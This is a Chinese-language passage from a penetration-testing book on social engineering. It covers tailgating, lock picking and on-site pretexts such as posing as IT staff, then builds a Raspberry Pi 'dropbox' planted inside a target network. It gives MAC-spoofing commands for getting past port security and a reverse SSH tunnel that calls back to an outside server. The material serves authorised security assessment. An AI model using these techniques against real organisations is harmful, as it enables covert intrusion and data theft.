有一些设备可以克隆磁条或重放 RFID 令牌的信号。然而,使用这些设备超出了本书的范围。此外,要仔细考虑试图证明的内容以及如何实现。如果已知客户的特定 RFID 实现使用可以重播甚至克隆的通行证,那么可能只需要通知客户。然后他们可以权衡风险与更换身份验证系统的成本,而无需进行复杂的社会工程情景。
人们倾向于读到上文后决定让所有员工将徽章反戴,只显示一个没有特征的卡片支架。作者们在实践中看到过这种情况,当然这是愚蠢的,因为社会工程师甚至不需要制作假徽章,他们只需反戴一个空的卡片支架。最好的防御方法是根据员工的职位或部门设置不同格式的徽章和不同颜色的挂绳。这意味着社会工程师必须弄清楚什么颜色或格式与哪个部门相匹配,否则就会有风险暴露身份。
尾随
尾随是一种有趣的技术,现实世界的攻击者和专业安全顾问经常使用。其基本前提是利用员工在身份验证到诸如 RFID 这样的物理安全控制时的访问权限。大多数人都受到社会习俗的约束,为了礼貌和谦逊而紧跟在他们身后开门。如果门不被保持开着,后面的人可能会感到被冒犯。如果简单地不保持门开着就会引起冒犯,那么质疑该人员证明其身份会有什么作用呢?
可以通过各种方式增强这种效果,比如假装在电话上争吵,携带一个看似沉重的物品,甚至带着拐杖出现。任何可以使个人不太可能想要质疑的事情都是有益的。
企业"可能"有办法防御尾随,但并不容易。作者曾与客户合作,如果员工在另一个人等待通过时不闭上门,就会威胁对其采取纪律行动,最终导致一排人轮流开关门。这种方法似乎是有效的,但只能针对短期攻击场景。员工们都完全了解这个程序,但新的第三方承包商和访客不会。如果攻击者能够找出这样一个承包商或访客何时到达,他们就可以在其后进行尾随。此外,社会工程师可以作为一个带有同伴尾随的访客出现。
还有其他更昂贵的解决方案,比如单人旋转门或最终的人体验证系统。这些物理安全控制专门设计用于防止尾随。例如,使用人体验证系统,个人必须被验证一次才能进入一个通常只能容纳一个人的小空间。然后他们会被"困"在隔间内,直到第二次验证为止。一些系统实际上会为个人的验证细节分配一个重量,以确保他们不是在系统中携带着别人。尽管这些系统可以防止尾随,但它们并不是没有漏洞的。例如,作者曾见过一些允许同一张卡多次进入系统的人体验证系统,而不必先离开。这意味着有效的通行证可以被用来让多个人通过。
另一个可能的解决方案是为每个出入口指定安保人员。然而,这是一个昂贵的选择,而且可能会被简单的分散注意力技巧所规避。
尾随进入已经在本书中多次提到作为一种在评估结束时使用的技术。之所以这样做是因为尾随进入可能非常危险,特别是如果没有令人信服的证件或一个好的掩饰故事。无论员工付出多少努力来阻止挑战,这种情况仍然很容易发生。因此,通过在测试开始时执行基于尾随进入的场景,您可能会危及整个评估。尾随进入是一种重要的技术,但应该最后尝试。
作者知道安全公司会以尾随进入为基础进行整个评估。例如,客户会说每年一群顾问会在建筑物周围走动并尝试进入。这对客户来说有"一定"价值,但正如本书多次强调的那样,这应该只是与客户实际风险相一致的众多技术之一。因此,除非客户的主要风险来自公众成员尾随进入建筑物并从中偷窃,否则这种技术应该是评估的一个补充而不是基础。
尾随进入在一段时间内肯定是一种强大的技术,企业将很难阻止。然而,作为一名评估员,要仔细考虑尝试的漏洞是什么,以及尾随进入如何融入整体方法。
开锁技术
最初,开锁技术并不打算包含在本书中,因为这个主题已经被 Deviant Ollam 等作者在《实用开锁技术》和《王国之钥》等书中进行了全面而优雅的探讨。毫无疑问,如果计划是闯入建筑物或建筑物内的办公室,那么开锁技术这样的技能确实非常有用。然而,与其试图将大量材料压缩成几页,不如决定提供一种在社会工程场景中使用开锁技术的实用性观点。
首要的是,撬锁"可能"会损坏锁。在绝大多数情况下,损坏不会影响锁的使用,但总有可能。因此,重要的是在与客户的约定中包含这一点。他们需要意识到这种风险,无论多么小,然后决定是否可以使用这种技术。这一点在与一个特定客户合作时变得非常明显,该客户从一开始就规定绝对不得尝试撬锁。当询问原因时,客户表示之前的顾问在未告知他们的情况下使用了这些技术。那些顾问没有意识到,如果任何一个锁被损坏并需要更换,那么每一个其他的锁也都需要更换。在这种特定情况下,这样做的成本是巨大的。因此,避免尝试任何撬锁,但作为评估的一部分,建议在某些区域增加额外的安全控制,因为真正的攻击者不会在意锁是否被损坏。
在考虑使用撬锁进入建筑物,如外部门时,一定要非常谨慎!重要的是要考虑那扇门的另一侧是否已知。想象成功撬开锁并进入一个挤满人的办公室,所有人都转过身来看。一个明显的解决方案是在夜间进行撬锁,尽管以这种方式进行的评估也有自己的一套风险。例如,是否可以向警察递交一封"免于入狱"的信而不是给员工?此外,真正的攻击者可能只是打破窗户或强行打开门,这通常超出了大多数评估的范围。
撬锁最好的用途当然是在建筑物内部。大多数文件柜、橱柜和抽屉都使用廉价的片式锁,大多数情况下,这些锁可以在几秒钟内轻松绕过。请记住,他们的目标可能是证明对敏感文件的访问权限,因此获得对文件柜的访问权限可能是必不可少的。当然,可以设计情景使员工自愿打开文件柜或检索文件,撬锁只是其中一种可用选项。
内部办公室的门通常采用插销锁,虽然比片式锁更难撬开,但通常并不会带来太大挑战。
面临的最大挑战是不知道撬锁需要多长时间。可能只需几秒钟,几分钟,甚至更长时间。此外,当有人蹲下弄锁时,如果有人看到,很快就会引起怀疑。因此,只有在有足够的信心不被发现的情况下才尝试撬锁。有时,如果被抓个措手不及,解释自己是锁匠,客户丢失了钥匙可能就足够了,有幸的话。
一旦你进入
有时,目标可能仅仅是进入建筑物或特定受限区域。在这些情况下,大多数情景将集中在实现这一目标的各种方式上。然而,还有许多情况下,进入建筑物只是评估的开始。客户可能希望探索其他领域,比如员工对现场攻击者的社会工程学有多容易上当,或者写在纸片上的密码是否真的构成重大风险。这就需要将多个情景串联起来,并从一个情景无缝执行到另一个情景。总是有可能改变策略或创建新的情景,如果看到机会,但要注意遵守客户的目标和实际风险。
作者的目标是进入目标建筑物并登录员工的工作站,要么是通过获取他们的密码,要么是让他们登录。我们成功进入了建筑物,然后在部门之间移动,尝试一系列非常简单的情景。我们接近一名员工,解释说我们正在与 IT 部门合作,试图解决他们遇到的一些问题。除非被进一步询问,我们会保持相当模糊。我们询问是否有任何工作站或热座位可用。一旦坐下并尝试登录,我们会再次接近同一名员工,解释说 IT 提供的凭据不起作用,他们能否为我们登录?结合礼貌的态度并加入诸如"真的很抱歉再次打扰您..."之类的短语,员工们乐意帮忙。在这一点上,如果我们是真正的攻击者,我们将可以自由攻击网络或安装后门。当我们从部门到部门移动时,我们会尝试设计不同的情景,以识别不同的漏洞集。
进入建筑物后,这本身就提供了一定程度的可信度。就像"认证链"起作用一样,员工们会假设前台已经对访客进行了筛查。
可以说,进入建筑物的情景和针对现场员工的情景可以分开。然而,评估通常在短至两到三天的时间内进行,这可能需要包括侦察和远程攻击。因此,除非客户有足够的预算来展开攻击,否则可能别无选择,只能一起执行所有现场攻击。
进入建筑物后,如果需要,最好找一个"安全避难所",进行估计,并为下一个情景做准备。这可以是一个空的会议室,一个食堂,或者如果情况足够严重,还可以使用洗手间。例如,假扮成电气工程师进入建筑物,然后前往洗手间换上一套正装。下一个情景可能是基于内部审计,或者是作为企业的新员工。一个相对安全的区域,如会议室,可以用来准备,甚至是攻击网络,只要网络节点是活动的。如果有人进入房间,只需道歉解释你以为那时是空闲的。食堂总是一个准备方案的好地方,因为这些区域经常会有来自员工、访客和承包商的流量,所以你不太可能受到挑战。
摘要
物理攻击矢量通常是整体社会工程评估的重要组成部分。通常,远程电子邮件和电话攻击会揭示用作物理攻击基础的信息。将所有攻击矢量串联起来是有效利用时间的好方法,并增加了在物理攻击期间取得成功的机会。
本章介绍了攻击者使用的最常见的"主动信息收集"技术。这些技术有时甚至可以在没有任何先前的侦察的情况下导致安全妥协。
对一家公司执行物理攻击显然需要顾问们亲自到场。因此,任何试图冒充的尝试都变得更加复杂,可能需要视觉道具、伪装和证件。为了执行有效的评估,应该获取一整套服装、道具、挂绳、徽章和证件。
下一章将继续讨论物理攻击矢量的主题,涵盖可以用于支持情景的各种设备。
第十二章:用技术支持攻击
Richard Ackroyd,高级安全工程师,RandomStorm 有限公司
每个人都喜欢小工具,但除了是有趣的玩具外,它们还可以被利用以为社会工程攻击提供另一个维度。老套路是把无线接入点放入企业网络中并离开,但这实际吗?还有更好的工具吗?本章将涵盖 3G dropbox、无线工具和 3G KVM 开关。我们将步骤性地介绍如何在目标网络中构建支持完整虚拟专用网络(VPN)的 3G 启用 dropbox。
关键词
RaspberryPi;3G;dropbox;Raspbian;OpenVPN;反向 SSH
本章信息
连接到网络
电缆和实时端口测试仪
上网本
我在哪个子网?
端口安全
远程连接到网络
Dropbox
Dropbox 挑战
Pwnie Express
RaspberryPi
Intel NUC
亦属次等
构建您自己的'Dropbox'
安装操作系统
回家打电话
设置基于证书的身份验证
创建 SSH 反向隧道
让它固定
添加 3G/4G 支持
选择一个 Dongle
屏幕,无线和其他硬件
Adafruit Pi Plate
无线 Dongle
为您的 Dropbox 选择一个外壳
将 OpenVPN 添加到我们的后门
路由问题及其克服方法
替代 Dropbox
3G 和 IP KVM
路由器
无线接入点
妥协内部系统
其他有用的小工具
按键记录器
音频录音设备
Teensy USB
恶意 USB 驱动器
WiFi Pineapple
介绍
在第十一章中,我们介绍了物理攻击向量,这通常占据社会工程评估的大部分内容。
本章重点介绍了各种小工具。我们将涵盖可用于增强我们评估的不同类型技术。
我们将研究连接到目标组织网络的过程以及可能阻碍此过程的常见障碍。我们还将研究一些设备,这些设备可以让我们能够从远程位置执行剩余的工作,有时被称为"dropboxes"。
在尝试评估的物理访问部分时,始终携带有用设备是很有用的,因此我们也将涵盖这些设备。
我们将通过查看 WiFi Pineapple 来结束本章,以帮助在参与过程中进行无线攻击。
远程连接到网络
如果定期进行社会工程评估,就会需要外泄数据。毕竟,这是对实际攻击的模拟。这可以是文件柜突袭,公司财产的移除,或者连接到网络并通过黑客方式达到目标。在本节中,将涵盖一些可能遇到的障碍和潜在的解决方法,以及在此任务中可能有用的一些技术。
电缆和实时端口测试仪
典型的电缆测试仪需要访问物理网络电缆的两端,因此在这种情况下几乎没有用处。如果顾问走进一个充满补丁端口的房间,他们如何快速确定哪些端口是活动的,以便能够节省一些测试时间?虽然有一种设备可以做到这一点,但大多数选择价格过高。
第一个选项是 Smartronix LinkCheck --- www.smartronixstore.com/index.cfm?fuseaction=product.display&Product_ID=18
。
这是一个小型设备,可以确定链接的可用性以及连接的速度。它们的零售价约为 60 美元,可能是执行基本网络连接检查的最具成本效益的方式。
Smartronix 还制造了一款更昂贵的设备,Linkup,可以将数据放入线路进行更全面的测试。
下一个选择是查看 Fluke Networks 制造的设备,但这些设备通常会花费数千英镑。它们是非常酷的设备,如果与大型企业网络一起使用,非常有用,但在渗透测试或社会工程业务中很难证明其必要性。这些设备将执行从物理连接测试到动态主机配置协议(DHCP)测试的所有操作。它们还能够进行数据包捕获。这些设备配备有全彩触摸屏,用于分析和报告目的。
使用 Raspberry Pi 和 LCD 屏幕显示网络状态和 IP 地址详情如何?Raspberry Pi 的使用在本章的 Dropbox 部分中有所涉及,还涉及到 Adafruit LCD Plate,它将显示 IP 地址。
最现实的选择是使用网络本,它可以兼作渗透测试黑客本。
网络本
网络本是价格低廉的笔记本电脑,既小巧又相当强大。可以用不到 250 美元的价格购买到具有双核 CPU 和足够运行 Kali 或类似 Linux 发行版的 RAM 的网络本。例如,对一个热门的在线购物零售商进行了一个粗略的搜索,包括较低端的选项是一款全新的 WolVol BLACK 10 英寸带 WiFi 和摄像头的笔记本电脑(Android 4.2,双核处理器,8 GB 硬盘)仅售 149.94 美元。延长电池可以提供 6-8 小时的使用时间,使它们成为任何社会工程师的绝佳伴侣。
然而,作者手头有几台更高规格的 Asus EEE-PCs,各种形状和尺寸不一,用于这类工作。
由于它们的尺寸,它们很容易藏在人身上,无论是在大口袋还是公文包里。它们也很容易隐藏在公司环境中,并用作 Dropbox。
就成本和效益而言,它们应该被视为工具包中的基本物品。
我在哪个子网?
在许多网络环境中,特别是用于客户端访问的地方,DHCP 是非常依赖的,但是如果 DHCP 不可用怎么办?如何收集关于本地子网和其中的主机的信息?
简单来说,通过运行数据包嗅探软件来找出谁在那里交流。Wireshark、TShark 或 TCPDUMP 是首选工具。显然,因为没有 IP 地址,就不会看到任何单播 IP 流量,但会看到广播,比如地址解析协议(ARP)流量。这可以立即显示出本地 IP 地址范围,并且通常可以指示默认网关。默认网关几乎总是给定子网中的第一个或最后一个地址,例如 1 或.254。
思科发现协议(CDP)也可以用来提供有用的信息。CDP 数据包将包含 IP 地址和虚拟局域网(VLAN)标记,这两者都可以在连接到网络或欺骗数据包时使用。
连接时不要忘记查找动态干线协议(DTP)数据包。可能可以建立到交换机的干线并放置在所选的 VLAN 中。在这些情况下,工具如 Yersinia 可能会很有用。
总是存在将 IP 分配给另一个主机的风险,所以在测试时请记住这一点。
端口安全
端口安全和 802.1x 是用于保护交换网络中的恶意设备的机制。通过各种方式,它们控制哪些物理设备可以连接,它们可以访问什么,以及它们必须如何配置才能获得访问权限。简单的解决方案依赖于 MAC 地址过滤,而更复杂的解决方案则安装软件代理,并在允许其进入网络之前测量系统的安全状况。认证也可以使用证书和用户认证的组合来处理。
但是对于无法安装代理或证书的设备怎么办?在这种环境下如何进行身份验证?遗憾的是,通常的答案是通过它们的 MAC 地址。对我们来说,这意味着我们只需要一个受信任设备的 MAC 地址。四处寻找 VoIP 电话、打印机或瘦客户端,因为这些设备通常被添加到 MAC 地址绕过(MAB)列表中。这些设备类型通常在设备的某个地方有 MAC 地址印刷在贴纸上。
欺骗 MAC 地址很简单。在 Kali 中,我们会发出以下命令:
root@pentest:/home/# ifconfig eth0 down
root@pentest:/home/# macchanger -m BE:EF:BE:EF:BE:EF eth0
Permanent MAC: 00:0c:29:ed:1d:af (VMware, Inc.)
Current MAC: 00:0c:29:ed:1d:af (VMware, Inc.)
New MAC: be:ef:be:ef:be:ef (unknown)
这个命令应该适用于大多数 Linux 发行版。
在 OSX 上,执行以下操作:
sudo ifconfig en1 ether BE:EF:BE:EF:BE:EF
就是这么简单!
在 Windows 操作系统中,可以下载应用程序,如 Etherchange---ntsecurity.nu/toolbox/etherchange/
。也可以在注册表中更改 MAC 地址。
远程连接到网络
社会工程的本质通常意味着没有时间坐在那里破解,甚至根本没有时间在网站上花费太多时间。很可能会有多个目标,这项工作需要在现场团队成员和办公室内或建筑外的人员之间分工合作。
这就是远程连接在测试中发挥重要作用的地方,但如何实现呢?简短的答案是部署一个"dropbox"。 Dropbox 是一个插入网络的设备,为团队成员提供进入目标范围的访问权限。有多种选项可供选择。最简单的方法是在建筑物内的某个地方放置一个无线接入点,并将其连接到公司 LAN。由于各种原因,这并不总是切实可行,因此可能需要更高级的解决方案,例如一个完全功能的个人电脑或路由器。让我们看看每个选项。
Dropbox
Dropbox 通常是一个完全功能的计算机,可以插入网络并留在后面。这很有用,因为系统可能已经准备好使用一套完整的侦察和黑客工具。此外,根据需求和预算,可以选择多种不同的硬件平台和操作系统来实现。在转向这些选项之前,让我们看看部署 dropbox 时可能遇到的一些挑战。希望这能帮助我们找到更好的解决方案。
Dropbox 挑战
想象一下,没有授权进入建筑内部,需要插上设备并快速操作,可能会遇到什么障碍?在本章前面提到的活动端口和没有 DHCP 地址时,已经暗示了一些挑战。
首先,dropbox 需要相当小,可以隐藏在地板板块下或电缆整理篮中。它需要能够运行某种 Linux 发行版并且可用。一旦插入,清楚地显示它连接的端口是活动的至关重要。设备上的指示灯是一个好的开始,但显示设备已获取 IP 地址的屏幕也很有用。设备上的连接性也是一个要求。可能需要添加 USB 无线适配器进行数据包注入,或者添加 3G 万能钥匙进行远程控制。它显然需要一个有线网络端口。
设备也不需要运行得非常快,因为有很多轻量级的 Linux 发行版可用。当然,拥有更多的功率会更好,只是需要考虑到小尺寸的要求。
所涉及的系统还需要能够相对快速地启动。毕竟,等待设备上线的时间应该尽量避免。很可能只有有限的时间窗口来执行任务,以免被抓住现行。
总结一下,需求如下:
• 相当小
• 屏幕显示 IP 地址
• 指示灯显示网络连接和活动
• 大约一分钟启动
• 连接性------USB,有线网络
有很多选项可供选择,可以满足上述部分或全部要求。有些在某些方面更强大,但在其他方面可能会受到影响。例如,一台非常强大的机器可能不符合尺寸要求,尽管如稍后将讨论的那样,也有一些小而强大的选择。关键词始终是"妥协"。如果希望得到小而便宜的东西,那肯定不会太强大。
听到这个领域已经有商业选择可用可能不会让你感到惊讶。
Pwnie Express
pwnieexpress.com
的人们已经开始制作渗透测试的投放盒有一段时间了。一切都始于 PwnPlug,它基本上是一个内置微型计算机的电源插头。在繁忙的办公环境中,这些设备相当容易隐藏。鉴于电源插座通常靠近网络插座,这无疑是一种隐蔽设备的好形态。Pwnie Express 制作了几种这些设备的变体,包括"PowerPwn",这是一个完全功能的八路电源供应器。这些产品包括一个内置渗透测试工具的 Linux 发行版,以及诸如 3G/4G 适配器之类的酷功能,这样你就可以拨号回家。
这些产品唯一的缺点,尤其是对于那些业余爱好者来说,就是成本。 "PwnPlug Elite"售价为$995,而"PowerPwn"售价为$1495。这些设备更适合每周执行这种工作的组织,因此可以提供物有所值。
如果这是首选的选择,那么自建选项有哪些呢?
树莓派
如果还没有听说过树莓派的人,很可能在过去几年里一直生活在洞穴里。自从宣布以来,树莓派的普及率就非常高,并且一直受到密集的媒体报道。当然,所有这些都是有充分理由的,因为树莓派确实是一件非常酷的设备。
基本上,树莓派是一台信用卡大小的计算机,配备了 256 或 512MB 的 RAM,800MHz 的 ARM CPU,有线网络和 USB。所有这些只需约$25。它是作为一台极低成本的计算机开发的,以帮助孩子们重新开始编程,但在改装和黑客社区中也得到了广泛应用。有各种各样的项目,从自动化喂鸟器到家庭自动化系统。Pi 的极低功耗意味着它也可以长时间地运行于电池组。
树莓派如何满足需求?嗯,它肯定符合体积要求,在迷你的 85.60 毫米 × 56 毫米 × 21 毫米,重量仅为 45 克的情况下,很难反对这一点。然而,用于操作系统的 SD 卡会略微突出这些尺寸。
它没有配备屏幕,但有几个 LCD 选项可供选择,可以集成到树莓派中。有些是由 USB 控制和供电的,有些直接插入树莓派的引脚。无论哪种情况,都可以显示 IP 地址。另一个选择是使用用于汽车倒车系统的微型彩色 TFT 屏幕之一。所有这些都可以在 eBay 和 www.adafruit.com
上购买。在本章后面将介绍如何使用 Adafruit LCD。
树莓派还具有电源、磁盘活动、网络连接、双工和速度的指示灯,提供了连接到活动端口的信息。大多数操作系统的启动时间肯定在一分钟左右。一个良好的 Raspbian 版本在约 30 秒内开始响应 ping 命令,并在约 35 秒左右接受安全外壳(SSH)连接。
树莓派的普及意味着它也得到了许多主流 Linux 发行版的支持,其中许多提供了专为树莓派设计的镜像。更好的是,Kali Linux---www.kali.org---也提供了一个适用于树莓派的镜像,它也非常好用。该镜像比大多数树莓派发行版大,并且需要一个 8 GB 的 SD 卡,但这些都不贵。
值得注意的是,树莓派只有 512 MB 的 RAM,因此在这里工作的约束条件很严格。它不会刷新任何速度记录,这么说吧,但对于大多数任务来说,它还是可以使用的(参见图 12.1)。
图 12.1 树莓派。
英特尔 NUC
如果优先考虑性能,那么目前英特尔 NUC 就是"突出表现"的科技产品。NUC 不仅体积小,而且最新版本搭载了英特尔 Core i5 处理器。NUC 是一种裸机设备,可以安装内存、固态存储(SSD)和无线网卡。它还具有物理网络端口。这些微型计算机内部最多可以安装 16 GB 的 RAM,这意味着它们在这种应用中绝对速度飞快。当说它们小不是在开玩笑;它们的尺寸是 4 英寸 × 4 英寸 × 2 英寸,肯定很容易藏在不易发现的地方。它们还有另一个有用的属性,即作为投递箱,它们配备了与 VESA 兼容的支架。这意味着它们可以安装在热座位的显示器背面,而且在很长一段时间内可能不会被注意到,尤其是如果 LED 电源指示灯被隔离胶带遮挡的话。
因为它们使用 mSATA SSD 而不是机械硬盘,这些小型计算机的启动速度仅为几秒钟。
尽管需要做出一些牺牲,但这种性能是必须的。例如,它比树莓派要大,如果需要的话可能无法长时间运行在电池上。它也没有屏幕或任何轻松地内置到机箱中的方法。然而,可以通过使用外部显示器或远程同事提供信息来管理这一点,以确定何时建立所需的连接。这也不是一种廉价的方式来完成任务,尽管有一个更便宜的英特尔赛扬版本可供选择。但从速度和灵活性的角度来看,树莓派确实无法与其相提并论。
NUC 主板可以作为独立项目购买,并可以内置到带有屏幕的定制机箱中。标准 NUC 裸机机箱实际上没有多余的空间放置小工具(图 12.2)。
图 12.2 英特尔 Nuc。
亚军
如果设备必须比树莓派更小,那么还有其他选择。首先,基于 Android 的迷你 PC,如 MK802 类型的设备是一个合理的选择。它们比 USB 存储设备稍大,搭载四核 ARM 处理器和 2GB 的 RAM!它们确实是小巨人。应该可以在系统上运行 Kali 的 ARM 分支之一。它们也相当便宜,目前约 60 英镑。当然,它们的微小尺寸意味着一些限制。例如,机箱内不可能内置屏幕,它们也没有有线以太网。一个 USB 转以太网的转接器可以解决问题,但这会随着每个新玩具的增加而增加设备的尺寸。尽管如此,它仍然会成为一个功能强大且小巧的"dropbox"。因为设备直接插入显示器,可能会有替代的 dropbox 模式。假设伪造一个应用程序来捕获凭据?当用户打开显示器时,他们看到的是他们的域登录画面,但实际上是"dropbox"。然而,顾问需要靠近才能迅速捡起它,因为第一个查看问题的 IT 人员很可能会察觉到问题并将其带走。
另一款即将推出的设备是 CuBox---cubox-i.com
。
这些微型设备在很大程度上符合树莓派的模式,但将运行四核 CPU 并拥有 2GB 的 RAM。同样,这些设备基于 ARM CPU,因此可以通过一些小小的修改来运行大多数 Linux 发行版。它们的尺寸为 2 英寸×2 英寸×2 英寸,并配备千兆以太网。同样,任何外设或屏幕都无法放入机箱内,因此它们必须是外部的。或者可以定制一个 3D 打印的机箱。CuBox 也非常具有成本效益,意味着可以提供多个设备,而不会让银行破产。
构建自己的"dropbox"
在本部分中,将解释使用 512 MB 的 RaspberryPi 创建"dropbox"的过程。在此示例中,将使用 Raspbian Linux,但可以选择任何 ARM 发行版进行构建。最初的打算是使用 Kali Linux,但在撰写本文时,没有任何 I2C 支持。 I2C 驱动程序和工具用于控制 LCD,该 LCD 可用于显示有用的系统信息。例如,它可以用于显示通过 DHCP 接收到的 IP 地址。
将需要什么:
• 一个 RaspberryPi---最好是 512 MB 版本
• 一张 SD 卡---至少 8 GB,最好是速度较快的一张(例如,SanDisk Extreme 45 MB/S 卡)
• 一个电源供应---Pi 由 USB"On The Go"电缆供电
• 用于将操作系统写入 SD 卡的计算机---如果没有内置的读卡器,则需要一个读卡器
• Raspbian 映像---www.raspberrypi.org/downloads
• SD 卡的映像工具。(例如,MAC 上强大的 RPi-SD 卡生成器---alltheware.wordpress.com/2012/12/11/easiest-way-sd-card-setup/
)
安装操作系统
对于从未使用过 RaspberryPi 的人来说,安装操作系统肯定与标准 PC 有所不同。无论如何,这并不仅仅是插入 USB 存储设备并引导到安装程序的情况。 RaspberryPi 使用上述 SD 卡作为操作系统,因此需要工具将映像提取到 SD 卡上,并确保其可引导。有很多可用的工具,可以使整个过程完全无痛,因此不要害怕购买一个 Pi 并进行调试。
第一部分---下载操作系统
确保为 Pi 获取正确的映像非常重要。随着发布新版本的 Pi 而进行的组件更改导致一些旧发行版无法引导。这的一个指示是红色的"电源"灯将亮起,而"活动"灯将闪烁一次。然后 Pi 将什么也不做。撰写本文时,最新的 Raspbian 映像与最近的 RaspberryPi 硬件上运送的新 Hynix 存储器完美配合。
转到www.raspberrypi.org/downloads
并下载当前 Pi 版本的 Raspbian。 Raspbian 是专为 Pi 构建的 Debian 的轻量级版本。
第二部分---将操作系统写入卡中
如前所述,SD 卡将需要使用专用应用程序或者如果喜欢命令行,则使用"dd"进行映像。这个过程在很大程度上是非常安全的,但是如果不仔细注意,可能会擦除错误的磁盘。在这种情况下,要遵循的方法是量两次,切一次。
在 OSX 上,使用 RPi-SD 卡生成器,步骤如下:
• 步骤 1:启动 RPi-SD 卡生成器。它会询问 Raspbian.img 文件在哪里。选择它,然后点击确定(图 12.3)
• 步骤 2:如果插入了 SD 卡,请选择"继续"。如果没有,请在按继续之前连接它。确保 OSX 首先挂载了设备!
• 步骤 3:确保此窗口中仅选择了一个磁盘,并确保它是 SD 卡。选择的磁盘即将被擦除,然后安装 Raspbian。
要找出 SD 卡被挂载为何名称,请按苹果菜单按钮>关于此 Mac>更多信息>系统报告>读卡器。名称将在"BSD 名称"值旁边。
• 步骤 4:输入系统密码。然后它会声明在收到成功消息之前不要弹出 SD 卡。
• 步骤 5:按下确定按钮,映像过程开始。在菜单栏中会看到一个旋转的齿轮,表示进度。随时单击它以获取更多详细信息。
• 步骤 6:去喝杯咖啡吧,因为这可能需要一些时间。
• 步骤 7:出现一条消息,指示进程已完成,并将 SD 卡插入 Pi。成功!已创建一个可引导的 Raspbian Linux 系统!
图 12.3 选择 Raspbian 镜像。
也有其他方法可以将 SD 卡映像,例如使用命令行工具"dd"来实现相同的结果。使用应用程序意味着更少意外破坏数据的机会。
如果使用 Windows,win32diskimager 是一个不错的选择---sourceforge.net/projects/win32diskimager/
。这很简单;指向镜像,告诉它 SD 卡在哪里,然后等待任务完成。
第三部分------安装后的任务
还有一两件事情需要完成。首先,对操作系统进行完全更新。然后根据需要安装任何自定义工具。强烈建议更改默认密码!
要登录 Pi,输入用户名"pi"和密码"raspberry"。
更改密码:
root@raspberrypi:~# sudo passwd pi
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@raspberrypi:~#
更新操作系统:
root@raspberrypi:~# sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade
这可能需要一段时间,特别是如果连接不是特别快的话,不妨离开一会儿去喝杯咖啡,因为可能要等很长时间!
对于想要以无监视器的方式运行的用户,可以通过 SSH 登录 Pi。如果使用大于 8 GB 的 SD 卡,则可能需要扩展文件系统。Raspbian 将引导到一个菜单,允许自动更改分区大小,假设正在使用键盘和显示器。如果已经使用 SSH 远程连接到 Pi,则可以手动执行脚本以使用 sudo。/ raspbpi-config(图 12.4)。
图 12.4 运行中。
连接回家
当"dropbox"留在后面时,确保可以从远程位置访问它非常重要。有很多方法可以解决这个问题,有些方法比其他方法更好。一种经过验证的方法是创建一个反向 SSH 隧道。换句话说,树莓派将创建一个 SSH 连接返回到数据中心,允许任何流量通过此会话路由。
树莓派被要求拨出的原因是,简单地拨入是行不通的。不仅任何防火墙或路由器都会阻止入站访问,而且"dropbox"也没有进行任何网络地址转换。
另一种选择是考虑使用 OpenVPN 提供远程访问。这相对于 SSH 隧道有着明显的优势。OpenVPN 允许所有流量通过虚拟私有网络(VPN)路由。在这些情况下,它将与直接连接到网络一样。OpenVPN 将其所有流量发送到安全套接字层(SSL),这意味着它看起来就像标准的 Web 流量。这减少了被监视系统抓到的可能性。
首先让我们来看一下反向 SSH。设置 OpenVPN 将在本章后面进行讨论。
配置 SSH 隧道
在现实世界中,我们需要一个具有 SSH 开放端口的公共服务器。树莓派将连接到服务器,允许流量通过已建立的隧道发送。为了演示的目的,将使用一个 Ubuntu 服务器虚拟机作为 SSH 服务器,但您可以选择任何适合的发行版。
首先,需要配置客户端和服务器以接受不带静态密码的连接。为此,使用基于证书的身份验证。不过,请不要被吓到,这实际上非常简单。
设置基于证书的身份验证
第 1 步:首先登录到树莓派并生成一个 Rivest Shamir and Adleman(RSA)密钥。确保以 root 用户身份运行此操作。可以使用命令"id"来检查这一点。
root@raspberrypi:~# ssh-keygen -t rsa
接受默认文件名,并在提示时不要配置密码短语。在部署实际设备时,这可以更改以符合任何组织政策。
第 2 步:接下来,将公钥从树莓派传输到将接受 SSH 连接的服务器。
root@raspberrypi:~# ssh-copy-id -i /root/.ssh/id_rsa.pub root@myserver
root@myserver's password:
假设为服务器输入了密码,则应收到一个成功消息,表示密钥已添加。现在应该能够在树莓派和服务器之间进行 SSH,而无需输入密码。
root@raspberrypi:~# ssh root@192.168.1.156
The authenticity of host'192.168.1.156 (192.168.1.156)' can't be established.
ECDSA key fingerprint is f6:ff:45:04:2b:f4:33:42:34:a2:f2:06:78:da:f6:52.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added'192.168.1.156' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 12.10 (GNU/Linux 3.5.0-17-generic x86_64)
* Documentation: https://help.ubuntu.com/
System information as of Mon Sep 16 22:09:51 BST 2013
System load: 0.35 Processes: 79
Usage of /: 5.7% of 18.45 GB Users logged in: 1
Memory usage: 4% IP address for eth0: 192.168.1.156
Swap usage: 0%
Graph this data and manage this system at https://landscape.canonical.com/
Last login: Mon Sep 16 22:09:06 2013
root@ubuntusrv:~#
通常,这就是使用证书身份验证启动并运行所需的全部内容。如果连接失败,请检查位于/etc/ssh
中的sshd_config
,并查看以下值。
• PermitRootLogin:如果要使用根用户,则应将其设置为"yes"
• RSAAuthentication:应设置为"yes"
• PubkeyAuthentication:应设置为"yes"
在为 root 账户设置密码后,一个默认的 Ubuntu 服务器构建在没有问题。结果可能会有所不同!检查 /var/log 中的日志以寻找任何明显的问题总是值得的。此外,可以从树莓派上运行一个详细的 SSH 连接 ssh -vvv root@myserver。这应该有助于解决任何故障排除问题。
创建 SSH 反向隧道
这就是酷炫的部分。我们将告诉树莓派连接回我们的服务器,这在大多数情况下将在我们的数据中心中。它将建立一个 SSH 连接并告诉服务器打开一个新端口,例如 TCP/5555。然后可以登录到服务器以在端口 5555 上建立到 "localhost" 的 SSH 连接。然后,这将通过已建立的隧道向下转发到树莓派。这种方法绕过了任何入站访问控制,因为树莓派建立了出站连接。这只是搭车而已。诚然,这个概念起初可能有点令人困惑,所以让我们配置它并看看它有多简单。
让我们从在树莓派上发出的基本命令开始。
root@raspberrypi:~# ssh -N -R 5555:localhost:22 root@192.168.1.156
让我们稍微解释一下。我们已经从树莓派创建了一个到服务器 192.168.1.156 的 SSH 会话,使用的是 root 用户。由于我们已经设置了基于证书的身份验证,所以不需要密码。-N 命令开关是"不执行远程命令",因为我们只想转发流量。-R 选项告诉服务器打开或绑定一个新的端口,本例中为本地主机的 5555 端口。
